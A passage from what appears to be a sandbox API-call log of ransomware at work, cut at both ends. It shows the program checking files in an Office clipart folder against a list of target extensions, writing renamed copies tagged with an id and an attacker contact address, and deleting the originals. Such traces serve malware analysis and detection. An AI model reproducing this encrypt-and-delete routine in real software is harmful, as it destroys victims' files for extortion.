returned 4 [0209.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.153] lstrlenW (lpString=".bz2") returned 4 [0210.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.154] lstrlenW (lpString=".7z") returned 3 [0210.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0210.154] lstrlenW (lpString=".dbf") returned 4 [0210.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0210.154] lstrlenW (lpString=".1cd") returned 4 [0210.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0210.154] lstrlenW (lpString=".jpg") returned 4 [0210.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.154] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.154] lstrlenW (lpString="J0105292.WMF") returned 12 [0210.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.156] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=14868) returned 1 [0210.156] CloseHandle (hObject=0x358) returned 1 [0210.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220 [0210.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.156] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.156] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.158] GetLastError () returned 0x0 [0210.158] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x3a14, lpOverlapped=0x0) returned 1 [0210.160] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0210.162] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.162] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.162] SetEndOfFile (hFile=0x394) returned 1 [0210.162] CloseHandle (hObject=0x394) returned 1 [0210.162] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.163] SetEndOfFile (hFile=0x358) returned 1 [0210.164] CloseHandle (hObject=0x358) returned 1 [0210.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0210.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0210.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0210.165] lstrlenW (lpString=".doc") returned 4 [0210.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.165] lstrlenW (lpString=".docx") returned 5 [0210.165] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0210.165] lstrlenW (lpString=".pdf") returned 4 [0210.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.165] lstrlenW (lpString=".xls") returned 4 [0210.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.166] lstrlenW (lpString=".xlsx") returned 5 [0210.166] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0210.166] lstrlenW (lpString=".ppt") returned 4 [0210.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0210.166] lstrlenW (lpString=".zip") returned 4 [0210.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.166] lstrlenW (lpString=".rar") returned 4 [0210.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.166] lstrlenW (lpString=".bz2") returned 4 [0210.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.166] lstrlenW (lpString=".7z") returned 3 [0210.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0210.166] lstrlenW (lpString=".dbf") returned 4 [0210.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0210.166] lstrlenW (lpString=".1cd") returned 4 [0210.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0210.166] lstrlenW (lpString=".jpg") returned 4 [0210.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0210.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0210.166] lstrlenW (lpString=".doc") returned 4 [0210.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.167] lstrlenW (lpString=".docx") returned 5 [0210.167] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0210.167] lstrlenW (lpString=".pdf") returned 4 [0210.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.167] lstrlenW (lpString=".xls") returned 4 [0210.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.167] lstrlenW (lpString=".xlsx") returned 5 [0210.167] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0210.167] lstrlenW (lpString=".ppt") returned 4 [0210.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0210.167] lstrlenW (lpString=".zip") returned 4 [0210.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.167] lstrlenW (lpString=".rar") returned 4 [0210.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.167] lstrlenW (lpString=".bz2") returned 4 [0210.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.167] lstrlenW (lpString=".7z") returned 3 [0210.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0210.167] lstrlenW (lpString=".dbf") returned 4 [0210.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0210.167] lstrlenW (lpString=".1cd") returned 4 [0210.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0210.167] lstrlenW (lpString=".jpg") returned 4 [0210.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.168] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.168] lstrlenW (lpString="J0105294.WMF") returned 12 [0210.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.168] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=5504) returned 1 [0210.168] CloseHandle (hObject=0x358) returned 1 [0210.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220 [0210.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.169] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.169] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.170] GetLastError () returned 0x0 [0210.171] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x1580, lpOverlapped=0x0) returned 1 [0210.189] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1590, lpOverlapped=0x0) returned 1 [0210.190] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.190] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.190] SetEndOfFile (hFile=0x394) returned 1 [0210.191] CloseHandle (hObject=0x394) returned 1 [0210.191] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.192] SetEndOfFile (hFile=0x358) returned 1 [0210.193] CloseHandle (hObject=0x358) returned 1 [0210.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0210.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0210.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0210.194] lstrlenW (lpString=".doc") returned 4 [0210.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.194] lstrlenW (lpString=".docx") returned 5 [0210.194] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0210.194] lstrlenW (lpString=".pdf") returned 4 [0210.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.194] lstrlenW (lpString=".xls") returned 4 [0210.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.194] lstrlenW (lpString=".xlsx") returned 5 [0210.194] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0210.194] lstrlenW (lpString=".ppt") returned 4 [0210.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0210.194] lstrlenW (lpString=".zip") returned 4 [0210.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.194] lstrlenW (lpString=".rar") returned 4 [0210.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.194] lstrlenW (lpString=".bz2") returned 4 [0210.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.194] lstrlenW (lpString=".7z") returned 3 [0210.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0210.195] lstrlenW (lpString=".dbf") returned 4 [0210.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0210.195] lstrlenW (lpString=".1cd") returned 4 [0210.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0210.195] lstrlenW (lpString=".jpg") returned 4 [0210.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0210.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0210.195] lstrlenW (lpString=".doc") returned 4 [0210.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.195] lstrlenW (lpString=".docx") returned 5 [0210.195] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0210.195] lstrlenW (lpString=".pdf") returned 4 [0210.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.195] lstrlenW (lpString=".xls") returned 4 [0210.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.195] lstrlenW (lpString=".xlsx") returned 5 [0210.195] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0210.195] lstrlenW (lpString=".ppt") returned 4 [0210.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0210.195] lstrlenW (lpString=".zip") returned 4 [0210.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.195] lstrlenW (lpString=".rar") returned 4 [0210.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.196] lstrlenW (lpString=".bz2") returned 4 [0210.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.196] lstrlenW (lpString=".7z") returned 3 [0210.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0210.196] lstrlenW (lpString=".dbf") returned 4 [0210.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0210.196] lstrlenW (lpString=".1cd") returned 4 [0210.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0210.196] lstrlenW (lpString=".jpg") returned 4 [0210.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.196] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.196] lstrlenW (lpString="J0105298.WMF") returned 12 [0210.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.197] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=6320) returned 1 [0210.197] CloseHandle (hObject=0x358) returned 1 [0210.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220 [0210.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.197] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.197] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.198] GetLastError () returned 0x0 [0210.198] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x18b0, lpOverlapped=0x0) returned 1 [0210.200] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x18c0, lpOverlapped=0x0) returned 1 [0210.201] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.202] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.202] SetEndOfFile (hFile=0x394) returned 1 [0210.202] CloseHandle (hObject=0x394) returned 1 [0210.202] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.202] SetEndOfFile (hFile=0x358) returned 1 [0210.203] CloseHandle (hObject=0x358) returned 1 [0210.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0210.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0210.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0210.204] lstrlenW (lpString=".doc") returned 4 [0210.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.205] lstrlenW (lpString=".docx") returned 5 [0210.205] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.205] lstrlenW (lpString=".pdf") returned 4 [0210.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.205] lstrlenW (lpString=".xls") returned 4 [0210.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.205] lstrlenW (lpString=".xlsx") returned 5 [0210.205] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.205] lstrlenW (lpString=".ppt") returned 4 [0210.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0210.205] lstrlenW (lpString=".zip") returned 4 [0210.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.205] lstrlenW (lpString=".rar") returned 4 [0210.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.205] lstrlenW (lpString=".bz2") returned 4 [0210.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.205] lstrlenW (lpString=".7z") returned 3 [0210.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0210.205] lstrlenW (lpString=".dbf") returned 4 [0210.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0210.205] lstrlenW (lpString=".1cd") returned 4 [0210.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0210.205] lstrlenW (lpString=".jpg") returned 4 [0210.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0210.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0210.206] lstrlenW (lpString=".doc") returned 4 [0210.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.206] lstrlenW (lpString=".docx") returned 5 [0210.206] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.206] lstrlenW (lpString=".pdf") returned 4 [0210.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.206] lstrlenW (lpString=".xls") returned 4 [0210.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.206] lstrlenW (lpString=".xlsx") returned 5 [0210.206] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.206] lstrlenW (lpString=".ppt") returned 4 [0210.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0210.206] lstrlenW (lpString=".zip") returned 4 [0210.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.206] lstrlenW (lpString=".rar") returned 4 [0210.206] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.206] lstrlenW (lpString=".bz2") returned 4 [0210.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.206] lstrlenW (lpString=".7z") returned 3 [0210.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0210.206] lstrlenW (lpString=".dbf") returned 4 [0210.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.207] lstrlenW (lpString="C:\\Program Files\\Microsoft 